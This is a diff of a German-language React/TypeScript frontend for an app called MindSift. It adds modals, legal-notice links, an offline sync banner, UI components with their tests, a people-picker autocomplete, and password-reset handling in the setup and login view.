const onKey = (e: KeyboardEvent) => e.key === 'Escape' && onClose();
|
||||||
|
window.addEventListener('keydown', onKey);
|
||||||
|
return () => window.removeEventListener('keydown', onKey);
|
||||||
|
}, [onClose]);
|
||||||
|
|
||||||
|
const desktopAnchor = anchor
|
||||||
|
? ({ '--sheet-left': `${anchor.x}px`, '--sheet-top': `${anchor.y}px` } as React.CSSProperties)
|
||||||
|
: undefined;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="fixed inset-0 !m-0 z-50 modal-overlay" onClick={onClose}>
|
||||||
|
<form
|
||||||
|
onSubmit={onSubmit}
|
||||||
|
onClick={(e) => e.stopPropagation()}
|
||||||
|
style={
|
||||||
|
{
|
||||||
|
...desktopAnchor,
|
||||||
|
'--kb-inset': `${inset}px`,
|
||||||
|
'--vv-max': visibleHeight ? `${visibleHeight - 16}px` : '85vh',
|
||||||
|
} as React.CSSProperties
|
||||||
|
}
|
||||||
|
className={`fixed inset-x-0 bottom-[var(--kb-inset)] max-h-[var(--vv-max)] panel-surface rounded-t-2xl border-t border-border shadow-panel p-4 space-y-3 overflow-y-auto
|
||||||
|
sm:inset-x-auto sm:bottom-auto sm:max-h-[85vh] sm:w-full sm:rounded-card sm:border ${
|
||||||
|
anchor
|
||||||
|
? 'sm:max-w-[16.5rem] sm:left-[var(--sheet-left)] sm:top-[var(--sheet-top)]'
|
||||||
|
: 'sm:max-w-sm sm:left-1/2 sm:top-1/2 sm:-translate-x-1/2 sm:-translate-y-1/2'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<div className="w-10 h-1 bg-border rounded-full mx-auto sm:hidden" aria-hidden="true" />
|
||||||
|
<div className="flex items-center justify-between gap-2">
|
||||||
|
<h3 className="text-sm font-semibold text-main flex items-center gap-1.5 min-w-0">
|
||||||
|
{icon}
|
||||||
|
<span className="truncate">{title}</span>
|
||||||
|
</h3>
|
||||||
|
<button type="button" onClick={onClose} className="w-11 h-11 sm:w-7 sm:h-7 -mr-2 sm:mr-0 flex items-center justify-center text-muted hover:text-main" title="Schließen">
|
||||||
|
<X className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
{children}
|
||||||
|
<div className="flex gap-2 pt-1 sm:justify-end">
|
||||||
|
<button type="button" onClick={onClose} className="btn-action flex-1 sm:flex-none h-11 sm:h-8 px-3 text-sm sm:text-xs">
|
||||||
|
Abbrechen
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="submit"
|
||||||
|
disabled={busy}
|
||||||
|
className={`${danger ? 'btn-danger' : 'btn-primary'} flex-1 sm:flex-none h-11 sm:h-8 px-4 text-sm sm:text-xs font-semibold disabled:opacity-50`}
|
||||||
|
>
|
||||||
|
{submitLabel}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
{/* keeps the buttons clear of the home indicator when no keyboard is open */}
|
||||||
|
<div className="sm:hidden" style={{ height: inset ? 0 : 'env(safe-area-inset-bottom, 0px)' }} />
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
import React, { useState } from 'react';
|
||||||
|
import { AuthStatus } from '../lib/types';
|
||||||
|
import { api } from '../lib/api';
|
||||||
|
import { MarkdownViewer } from '../lib/markdown';
|
||||||
|
import { ReadingModal } from './ReadingModal';
|
||||||
|
import { safeHref } from '../lib/safeUrl';
|
||||||
|
|
||||||
|
type LegalType = 'imprint' | 'privacy';
|
||||||
|
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
|
||||||
|
|
||||||
|
interface LegalLinksProps {
|
||||||
|
legal?: AuthStatus['legal'];
|
||||||
|
className?: string;
|
||||||
|
children?: React.ReactNode; // further footer links, e.g. "Über MindSift"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Impressum / Datenschutz links: an external URL opens in a new tab, Markdown in a reading modal.
|
||||||
|
// Links without URL or text are not shown at all.
|
||||||
|
export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', children }) => {
|
||||||
|
const [open, setOpen] = useState<{ type: LegalType; content: string } | null>(null);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
|
||||||
|
const entries = (['imprint', 'privacy'] as LegalType[])
|
||||||
|
.map((type) => ({
|
||||||
|
type,
|
||||||
|
url: type === 'imprint' ? legal?.imprintUrl : legal?.privacyUrl,
|
||||||
|
hasContent: type === 'imprint' ? legal?.hasImprintContent : legal?.hasPrivacyContent,
|
||||||
|
}))
|
||||||
|
.filter((e) => e.url || e.hasContent);
|
||||||
|
|
||||||
|
if (entries.length === 0 && !children) return null;
|
||||||
|
|
||||||
|
const openText = async (type: LegalType) => {
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setOpen({ type, content: await api.getLegalText(type) });
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Text konnte nicht geladen werden');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
|
||||||
|
{entries.map((e) =>
|
||||||
|
e.url && safeHref(e.url) ? (
|
||||||
|
<a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
|
||||||
|
{TITLES[e.type]}
|
||||||
|
</a>
|
||||||
|
) : (
|
||||||
|
<button key={e.type} type="button" onClick={() => openText(e.type)} className="hover:text-main underline-offset-2 hover:underline">
|
||||||
|
{TITLES[e.type]}
|
||||||
|
</button>
|
||||||
|
)
|
||||||
|
)}
|
||||||
|
{children}
|
||||||
|
{error && <span className="text-status-err">{error}</span>}
|
||||||
|
{open && (
|
||||||
|
<ReadingModal title={TITLES[open.type]} onClose={() => setOpen(null)}>
|
||||||
|
<MarkdownViewer content={open.content} />
|
||||||
|
</ReadingModal>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -2,6 +2,7 @@ import React from 'react';
|
|||||||
import { Check, X } from 'lucide-react';
|
import { Check, X } from 'lucide-react';
|
||||||
import { useMobileActions } from '../context/MobileActionContext';
|
import { useMobileActions } from '../context/MobileActionContext';
|
||||||
import { triggerHaptic } from '../lib/api';
|
import { triggerHaptic } from '../lib/api';
|
||||||
|
import { CountBadge } from './CountBadge';
|
||||||
|
|
||||||
interface MobileHeaderMenuProps {
|
interface MobileHeaderMenuProps {
|
||||||
activeTabLabel: string;
|
activeTabLabel: string;
|
||||||
@@ -109,7 +110,9 @@ export const MobileHeaderMenu: React.FC<MobileHeaderMenuProps> = ({ activeTabLab
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex items-center gap-2 flex-shrink-0">
|
<div className="flex items-center gap-2 flex-shrink-0">
|
||||||
{item.badge !== undefined && item.badge !== '' && (
|
{typeof item.badge === 'number' && !isAccent ? (
|
||||||
|
<CountBadge count={item.badge} showZero variant={isActive ? 'accent' : 'muted'} />
|
||||||
|
) : item.badge !== undefined && item.badge !== '' && (
|
||||||
<span
|
<span
|
||||||
className={`px-2 py-0.5 rounded-full text-xs font-mono font-semibold ${
|
className={`px-2 py-0.5 rounded-full text-xs font-mono font-semibold ${
|
||||||
isAccent
|
isAccent
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { CloudOff, RefreshCw } from 'lucide-react';
|
||||||
|
import { outboxCount } from '../lib/offline';
|
||||||
|
|
||||||
|
// Small notice above the bottom navigation: offline (with the number of changes waiting), or
|
||||||
|
// "synchronisiere" while queued changes are being sent after the connection came back.
|
||||||
|
export const OfflineBanner: React.FC = () => {
|
||||||
|
const [online, setOnline] = useState(() => (typeof navigator === 'undefined' ? true : navigator.onLine));
|
||||||
|
const [pending, setPending] = useState(() => outboxCount());
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const update = () => {
|
||||||
|
setOnline(navigator.onLine);
|
||||||
|
setPending(outboxCount());
|
||||||
|
};
|
||||||
|
window.addEventListener('online', update);
|
||||||
|
window.addEventListener('offline', update);
|
||||||
|
window.addEventListener('mindsift:outbox-changed', update);
|
||||||
|
window.addEventListener('storage', update);
|
||||||
|
return () => {
|
||||||
|
window.removeEventListener('online', update);
|
||||||
|
window.removeEventListener('offline', update);
|
||||||
|
window.removeEventListener('mindsift:outbox-changed', update);
|
||||||
|
window.removeEventListener('storage', update);
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
if (online && pending === 0) return null;
|
||||||
|
|
||||||
|
const waiting = `${pending} ${pending === 1 ? 'Änderung wartet' : 'Änderungen warten'}`;
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
role="status"
|
||||||
|
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] max-w-[calc(100vw-1.5rem)] px-3 py-1.5 rounded-full border text-[11px] font-medium shadow-panel flex items-center gap-1.5 bg-panel-elevated border-status-warn/40 text-main"
|
||||||
|
>
|
||||||
|
{online ? (
|
||||||
|
<RefreshCw className="w-3.5 h-3.5 text-accent animate-spin shrink-0" />
|
||||||
|
) : (
|
||||||
|
<CloudOff className="w-3.5 h-3.5 text-status-warn shrink-0" />
|
||||||
|
)}
|
||||||
|
<span className="truncate">
|
||||||
|
{online
|
||||||
|
? `Synchronisiere – ${waiting}…`
|
||||||
|
: pending > 0
|
||||||
|
? `Offline · ${waiting} auf Verbindung`
|
||||||
|
: 'Offline – Änderungen werden bei Verbindung synchronisiert'}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
import React, { useEffect } from 'react';
|
||||||
|
import { X } from 'lucide-react';
|
||||||
|
|
||||||
|
interface ReadingModalProps {
|
||||||
|
title: string;
|
||||||
|
onClose: () => void;
|
||||||
|
children: React.ReactNode;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Slim modal for reading text (legal notices, about); Escape or backdrop click closes it
|
||||||
|
export const ReadingModal: React.FC<ReadingModalProps> = ({ title, onClose, children }) => {
|
||||||
|
useEffect(() => {
|
||||||
|
const onKey = (e: KeyboardEvent) => e.key === 'Escape' && onClose();
|
||||||
|
window.addEventListener('keydown', onKey);
|
||||||
|
return () => window.removeEventListener('keydown', onKey);
|
||||||
|
}, [onClose]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className="fixed inset-0 z-50 flex items-center justify-center p-4 bg-black/60 backdrop-blur-xs"
|
||||||
|
onClick={(e) => e.target === e.currentTarget && onClose()}
|
||||||
|
role="dialog"
|
||||||
|
aria-modal="true"
|
||||||
|
aria-label={title}
|
||||||
|
>
|
||||||
|
<div className="panel-surface w-full max-w-2xl max-h-[85vh] flex flex-col shadow-panel">
|
||||||
|
<div className="flex items-center justify-between px-4 py-3 border-b border-border">
|
||||||
|
<h2 className="text-sm font-bold text-main">{title}</h2>
|
||||||
|
<button type="button" onClick={onClose} className="btn-icon" title="Schließen">
|
||||||
|
<X className="w-4 h-4" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div className="p-4 overflow-y-auto text-sm text-main">{children}</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import React from 'react';
|
||||||
|
|
||||||
|
interface ToggleSwitchProps {
|
||||||
|
checked: boolean;
|
||||||
|
onChange: (checked: boolean) => void;
|
||||||
|
title?: string;
|
||||||
|
disabled?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
// On/off switch for settings; used instead of checkboxes (Doku/ui-patterns.md)
|
||||||
|
export const ToggleSwitch: React.FC<ToggleSwitchProps> = ({ checked, onChange, title, disabled = false }) => (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
role="switch"
|
||||||
|
aria-checked={checked}
|
||||||
|
disabled={disabled}
|
||||||
|
onClick={() => onChange(!checked)}
|
||||||
|
className={`relative inline-flex h-6 w-11 flex-shrink-0 cursor-pointer rounded-pill border-2 border-transparent transition-colors duration-200 ease-in-out focus:outline-none disabled:opacity-50 disabled:cursor-default ${
|
||||||
|
checked ? 'bg-accent' : 'bg-panel-elevated border border-border'
|
||||||
|
}`}
|
||||||
|
title={title}
|
||||||
|
>
|
||||||
|
<span
|
||||||
|
aria-hidden="true"
|
||||||
|
className={`pointer-events-none inline-block h-5 w-5 transform rounded-pill bg-white shadow-md ring-0 transition duration-200 ease-in-out ${
|
||||||
|
checked ? 'translate-x-5' : 'translate-x-0'
|
||||||
|
}`}
|
||||||
|
/>
|
||||||
|
</button>
|
||||||
|
);
|
||||||
@@ -11,6 +11,7 @@ import {
|
|||||||
import { User, Team, UnifiedShare } from '../lib/types';
|
import { User, Team, UnifiedShare } from '../lib/types';
|
||||||
import { UserAutocomplete } from '../features/UserAutocomplete';
|
import { UserAutocomplete } from '../features/UserAutocomplete';
|
||||||
import { UserAvatar } from './UserAvatar';
|
import { UserAvatar } from './UserAvatar';
|
||||||
|
import { isSharingDisabled } from '../lib/api';
|
||||||
|
|
||||||
export interface UnifiedShareModalProps {
|
export interface UnifiedShareModalProps {
|
||||||
isOpen: boolean;
|
isOpen: boolean;
|
||||||
@@ -147,7 +148,11 @@ export const UnifiedShareModal: React.FC<UnifiedShareModalProps> = ({
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Add Share Section (Only if owner / manager) */}
|
{/* Add Share Section (Only if owner / manager) */}
|
||||||
{isOwner ? (
|
{isSharingDisabled() ? (
|
||||||
|
<div className="p-3 bg-panel-elevated border border-border rounded-card text-xs text-muted">
|
||||||
|
Teilen ist auf diesem Server deaktiviert (Sichtbarkeits-Modus „Privat“).
|
||||||
|
</div>
|
||||||
|
) : isOwner ? (
|
||||||
<form onSubmit={handleAdd} className="space-y-3 p-3 bg-panel-elevated border border-border rounded-card">
|
<form onSubmit={handleAdd} className="space-y-3 p-3 bg-panel-elevated border border-border rounded-card">
|
||||||
<div className="flex items-center justify-between gap-2">
|
<div className="flex items-center justify-between gap-2">
|
||||||
<span className="text-xs font-semibold text-main">Freigabe hinzufügen:</span>
|
<span className="text-xs font-semibold text-main">Freigabe hinzufügen:</span>
|
||||||
|
|||||||
@@ -8,12 +8,14 @@ export interface UserAvatarProps {
|
|||||||
} | null;
|
} | null;
|
||||||
name?: string;
|
name?: string;
|
||||||
avatarUrl?: string;
|
avatarUrl?: string;
|
||||||
size?: 'xs' | 'sm' | 'md' | 'lg' | 'xl';
|
size?: 'xxs' | 'xs' | 'sm' | 'md' | 'lg' | 'xl';
|
||||||
className?: string;
|
className?: string;
|
||||||
alt?: string;
|
alt?: string;
|
||||||
|
showTitle?: boolean; // native name tooltip on hover
|
||||||
}
|
}
|
||||||
|
|
||||||
const SIZE_MAP = {
|
const SIZE_MAP = {
|
||||||
|
xxs: 'w-4 h-4 text-[7px]',
|
||||||
xs: 'w-5 h-5 text-[10px]',
|
xs: 'w-5 h-5 text-[10px]',
|
||||||
sm: 'w-7 h-7 text-xs',
|
sm: 'w-7 h-7 text-xs',
|
||||||
md: 'w-9 h-9 text-sm',
|
md: 'w-9 h-9 text-sm',
|
||||||
@@ -68,6 +70,7 @@ export const UserAvatar: React.FC<UserAvatarProps> = ({
|
|||||||
size = 'md',
|
size = 'md',
|
||||||
className = '',
|
className = '',
|
||||||
alt,
|
alt,
|
||||||
|
showTitle = true,
|
||||||
}) => {
|
}) => {
|
||||||
const [imageError, setImageError] = useState(false);
|
const [imageError, setImageError] = useState(false);
|
||||||
|
|
||||||
@@ -94,7 +97,7 @@ export const UserAvatar: React.FC<UserAvatarProps> = ({
|
|||||||
return (
|
return (
|
||||||
<div
|
<div
|
||||||
className={`inline-flex items-center justify-center rounded-full aspect-square shrink-0 select-none overflow-hidden font-semibold transition-all ${sizeClass} ${className}`}
|
className={`inline-flex items-center justify-center rounded-full aspect-square shrink-0 select-none overflow-hidden font-semibold transition-all ${sizeClass} ${className}`}
|
||||||
title={effectiveName || alt}
|
title={showTitle ? effectiveName || alt : undefined}
|
||||||
>
|
>
|
||||||
{hasImage ? (
|
{hasImage ? (
|
||||||
<img
|
<img
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { render } from '@testing-library/react';
|
||||||
|
import { AvatarStack } from '../AvatarStack';
|
||||||
|
|
||||||
|
const people = ['Anna', 'Ben', 'Carla', 'Dana', 'Emil'].map((name, i) => ({ id: `u${i}`, name }));
|
||||||
|
|
||||||
|
describe('AvatarStack (who a list or note is shared with)', () => {
|
||||||
|
it('shows at most three people and the rest as +n', () => {
|
||||||
|
const { container } = render(<AvatarStack people={people} />);
|
||||||
|
expect(container.textContent).toContain('+2');
|
||||||
|
expect(container.firstElementChild?.children.length).toBe(4); // 3 avatars + overflow circle
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders nothing for an unshared item', () => {
|
||||||
|
expect(render(<AvatarStack people={[]} />).container.firstChild).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('needs no overflow circle when everyone fits', () => {
|
||||||
|
const { container } = render(<AvatarStack people={people.slice(0, 2)} />);
|
||||||
|
expect(container.textContent).not.toContain('+');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { render } from '@testing-library/react';
|
||||||
|
import { CountBadge } from '../CountBadge';
|
||||||
|
|
||||||
|
describe('CountBadge', () => {
|
||||||
|
it('hides itself at zero unless asked', () => {
|
||||||
|
expect(render(<CountBadge count={0} />).container.firstChild).toBeNull();
|
||||||
|
expect(render(<CountBadge count={undefined} />).container.firstChild).toBeNull();
|
||||||
|
expect(render(<CountBadge count={0} showZero />).container.textContent).toBe('0');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('caps large numbers and keeps the real value for screen readers', () => {
|
||||||
|
const el = render(<CountBadge count={150} />).container.firstChild as HTMLElement;
|
||||||
|
expect(el.textContent).toBe('99+');
|
||||||
|
expect(el.getAttribute('aria-label')).toBe('150');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('maps variant and position to the shared classes', () => {
|
||||||
|
const el = render(<CountBadge count={3} variant="accent" position="corner" />).container.firstChild as HTMLElement;
|
||||||
|
expect(el.className).toContain('count-badge-accent');
|
||||||
|
expect(el.className).toContain('count-badge-corner');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -3,6 +3,10 @@ import { Search, X, Check } from 'lucide-react';
|
|||||||
import { User } from '../lib/types';
|
import { User } from '../lib/types';
|
||||||
import { UserAvatar } from '../components/UserAvatar';
|
import { UserAvatar } from '../components/UserAvatar';
|
||||||
|
|
||||||
|
// Shared type-to-search for picking people (sharing, groups, task assignees). Nothing is listed until
|
||||||
|
// something is typed, then at most MAX_RESULTS matches appear below the field. See Doku/ui-patterns.md.
|
||||||
|
const MAX_RESULTS = 3;
|
||||||
|
|
||||||
interface UserAutocompleteProps {
|
interface UserAutocompleteProps {
|
||||||
users: User[];
|
users: User[];
|
||||||
selectedUser: User | null;
|
selectedUser: User | null;
|
||||||
@@ -42,10 +46,8 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
// Filter users based on query and exclusions
|
// Filter users based on query and exclusions
|
||||||
const filteredUsers = React.useMemo(() => {
|
const filteredUsers = React.useMemo(() => {
|
||||||
const q = query.trim().toLowerCase();
|
const q = query.trim().toLowerCase();
|
||||||
|
if (!q) return [];
|
||||||
const available = users.filter((u) => !excludeUserIds.includes(u.id));
|
const available = users.filter((u) => !excludeUserIds.includes(u.id));
|
||||||
if (!q) {
|
|
||||||
return available.slice(0, 15);
|
|
||||||
}
|
|
||||||
return available
|
return available
|
||||||
.filter((u) => {
|
.filter((u) => {
|
||||||
const nameMatch = (u.displayName || '').toLowerCase().includes(q);
|
const nameMatch = (u.displayName || '').toLowerCase().includes(q);
|
||||||
@@ -53,8 +55,9 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
const userMatch = (u.username || '').toLowerCase().includes(q);
|
const userMatch = (u.username || '').toLowerCase().includes(q);
|
||||||
return nameMatch || emailMatch || userMatch;
|
return nameMatch || emailMatch || userMatch;
|
||||||
})
|
})
|
||||||
.slice(0, 15);
|
.slice(0, MAX_RESULTS);
|
||||||
}, [users, query, excludeUserIds]);
|
}, [users, query, excludeUserIds]);
|
||||||
|
const showResults = isOpen && query.trim() !== '';
|
||||||
|
|
||||||
const handleSelect = (user: User) => {
|
const handleSelect = (user: User) => {
|
||||||
onSelectUser(user);
|
onSelectUser(user);
|
||||||
@@ -70,8 +73,8 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
};
|
};
|
||||||
|
|
||||||
const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||||
if (!isOpen) {
|
if (!showResults) {
|
||||||
if (e.key === 'ArrowDown' || e.key === 'Enter') {
|
if (e.key === 'ArrowDown') {
|
||||||
setIsOpen(true);
|
setIsOpen(true);
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
@@ -139,7 +142,8 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
onChange={(e) => {
|
onChange={(e) => {
|
||||||
setQuery(e.target.value);
|
setQuery(e.target.value);
|
||||||
setIsOpen(true);
|
setIsOpen(true);
|
||||||
setHighlightedIndex(-1);
|
// First match is preselected so Enter picks it right away
|
||||||
|
setHighlightedIndex(0);
|
||||||
}}
|
}}
|
||||||
onFocus={() => setIsOpen(true)}
|
onFocus={() => setIsOpen(true)}
|
||||||
onKeyDown={handleKeyDown}
|
onKeyDown={handleKeyDown}
|
||||||
@@ -147,8 +151,8 @@ export const UserAutocomplete: React.FC<UserAutocompleteProps> = ({
|
|||||||
className="w-full h-8 pl-8 pr-2.5 bg-input text-main border border-border rounded-btn focus:outline-none focus:border-accent text-xs placeholder:text-muted transition-colors disabled:opacity-50"
|
className="w-full h-8 pl-8 pr-2.5 bg-input text-main border border-border rounded-btn focus:outline-none focus:border-accent text-xs placeholder:text-muted transition-colors disabled:opacity-50"
|
||||||
/>
|
/>
|
||||||
|
|
||||||
{isOpen && (
|
{showResults && (
|
||||||
<div className="absolute top-full left-0 right-0 z-50 mt-1 max-h-56 overflow-y-auto bg-panel border border-border rounded-card shadow-panel py-1 space-y-0.5">
|
<div className="absolute top-full left-0 right-0 z-50 mt-1 bg-panel border border-border rounded-card shadow-panel py-1 space-y-0.5">
|
||||||
{filteredUsers.length === 0 ? (
|
{filteredUsers.length === 0 ? (
|
||||||
<div className="p-3 text-xs text-muted text-center">
|
<div className="p-3 text-xs text-muted text-center">
|
||||||
Kein passender Benutzer gefunden
|
Kein passender Benutzer gefunden
|
||||||
|
|||||||
@@ -11,17 +11,26 @@ import {
|
|||||||
Check,
|
Check,
|
||||||
AlertCircle,
|
AlertCircle,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { AuthStatus, User } from '../../lib/types';
|
import { AuthStatus, SharingMode, User } from '../../lib/types';
|
||||||
import { api, triggerHaptic } from '../../lib/api';
|
import { api, triggerHaptic } from '../../lib/api';
|
||||||
|
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||||
|
import { LegalLinks } from '../../components/LegalLinks';
|
||||||
|
import { passwordProblem } from '../../lib/password';
|
||||||
|
|
||||||
interface SetupAndAuthViewProps {
|
interface SetupAndAuthViewProps {
|
||||||
authStatus: AuthStatus;
|
authStatus: AuthStatus;
|
||||||
onAuthenticated: (user: User) => void;
|
onAuthenticated: (user: User) => void;
|
||||||
|
resetToken?: string | null;
|
||||||
|
onResetDone?: () => void;
|
||||||
|
onResetCancel?: () => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
||||||
authStatus,
|
authStatus,
|
||||||
onAuthenticated,
|
onAuthenticated,
|
||||||
|
resetToken,
|
||||||
|
onResetDone,
|
||||||
|
onResetCancel,
|
||||||
}) => {
|
}) => {
|
||||||
// --- Setup Wizard State ---
|
// --- Setup Wizard State ---
|
||||||
const [setupName, setSetupName] = useState('');
|
const [setupName, setSetupName] = useState('');
|
||||||
@@ -29,14 +38,14 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
const [setupPassword, setSetupPassword] = useState('');
|
const [setupPassword, setSetupPassword] = useState('');
|
||||||
const [setupPasswordConfirm, setSetupPasswordConfirm] = useState('');
|
const [setupPasswordConfirm, setSetupPasswordConfirm] = useState('');
|
||||||
const [instanceName, setInstanceName] = useState(authStatus.instanceName || 'MindSift');
|
const [instanceName, setInstanceName] = useState(authStatus.instanceName || 'MindSift');
|
||||||
const [sharingMode, setSharingMode] = useState<'open' | 'teams_only' | 'strict_private'>(
|
const [sharingMode, setSharingMode] = useState<SharingMode>('organizations');
|
||||||
'teams_only'
|
|
||||||
);
|
|
||||||
const [allowRegistration, setAllowRegistration] = useState(false);
|
const [allowRegistration, setAllowRegistration] = useState(false);
|
||||||
const [createSampleData, setCreateSampleData] = useState(false);
|
const [createSampleData, setCreateSampleData] = useState(false);
|
||||||
|
|
||||||
// --- Login / Invite / Register State ---
|
// --- Login / Invite / Register State ---
|
||||||
const [authTab, setAuthTab] = useState<'login' | 'invite' | 'register'>('login');
|
const [authTab, setAuthTab] = useState<'login' | 'invite' | 'register' | 'forgot' | 'reset'>(
|
||||||
|
resetToken ? 'reset' : 'login'
|
||||||
|
);
|
||||||
const [email, setEmail] = useState('');
|
const [email, setEmail] = useState('');
|
||||||
const [password, setPassword] = useState('');
|
const [password, setPassword] = useState('');
|
||||||
const [displayName, setDisplayName] = useState('');
|
const [displayName, setDisplayName] = useState('');
|
||||||
@@ -44,11 +53,65 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
|
|
||||||
const [submitting, setSubmitting] = useState(false);
|
const [submitting, setSubmitting] = useState(false);
|
||||||
const [error, setError] = useState<string | null>(null);
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const [notice, setNotice] = useState<string | null>(null);
|
||||||
|
const [newPassword, setNewPassword] = useState('');
|
||||||
|
const [newPasswordConfirm, setNewPasswordConfirm] = useState('');
|
||||||
|
|
||||||
|
const handleForgotPassword = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setError(null);
|
||||||
|
setSubmitting(true);
|
||||||
|
try {
|
||||||
|
await api.requestPasswordReset(email.trim());
|
||||||
|
setNotice('Falls ein Konto mit dieser E-Mail-Adresse existiert, haben wir dir einen Link zum Zurücksetzen geschickt. Er gilt eine Stunde.');
|
||||||
|
setAuthTab('login');
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Anfrage fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setSubmitting(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleResetPassword = async (e: React.FormEvent) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setError(null);
|
||||||
|
const resetProblem = passwordProblem(newPassword);
|
||||||
|
if (resetProblem) {
|
||||||
|
setError(resetProblem);
|
||||||
|
triggerHaptic(25);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (newPassword !== newPasswordConfirm) {
|
||||||
|
setError('Die eingegebenen Passwörter stimmen nicht überein.');
|
||||||
|
triggerHaptic(25);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setSubmitting(true);
|
||||||
|
try {
|
||||||
|
await api.resetPassword(resetToken || '', newPassword);
|
||||||
|
setNewPassword('');
|
||||||
|
setNewPasswordConfirm('');
|
||||||
|
setPassword('');
|
||||||
|
setNotice('Dein Passwort wurde geändert. Melde dich jetzt mit dem neuen Passwort an.');
|
||||||
|
setAuthTab('login');
|
||||||
|
onResetDone?.();
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Passwort konnte nicht geändert werden');
|
||||||
|
} finally {
|
||||||
|
setSubmitting(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleCompleteSetup = async (e: React.FormEvent) => {
|
const handleCompleteSetup = async (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
setError(null);
|
setError(null);
|
||||||
|
|
||||||
|
const setupProblem = passwordProblem(setupPassword);
|
||||||
|
if (setupProblem) {
|
||||||
|
setError(setupProblem);
|
||||||
|
triggerHaptic(25);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (setupPassword !== setupPasswordConfirm) {
|
if (setupPassword !== setupPasswordConfirm) {
|
||||||
setError('Die eingegebenen Passwörter stimmen nicht überein.');
|
setError('Die eingegebenen Passwörter stimmen nicht überein.');
|
||||||
triggerHaptic(25);
|
triggerHaptic(25);
|
||||||
@@ -93,6 +156,12 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
|
|||||||
const handleRegisterOrInvite = async (e: React.FormEvent) => {
|
const handleRegisterOrInvite = async (e: React.FormEvent) => {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
setError(null);
|
setError(null);
|
||||||
|
const registerProblem = passwordProblem(password);
|
||||||
|
if (registerProblem) {
|
||||||
|
setError(registerProblem);
|
||||||
|
triggerHaptic(25);
|
||||||
|
return;
|
||||||
|
}
|
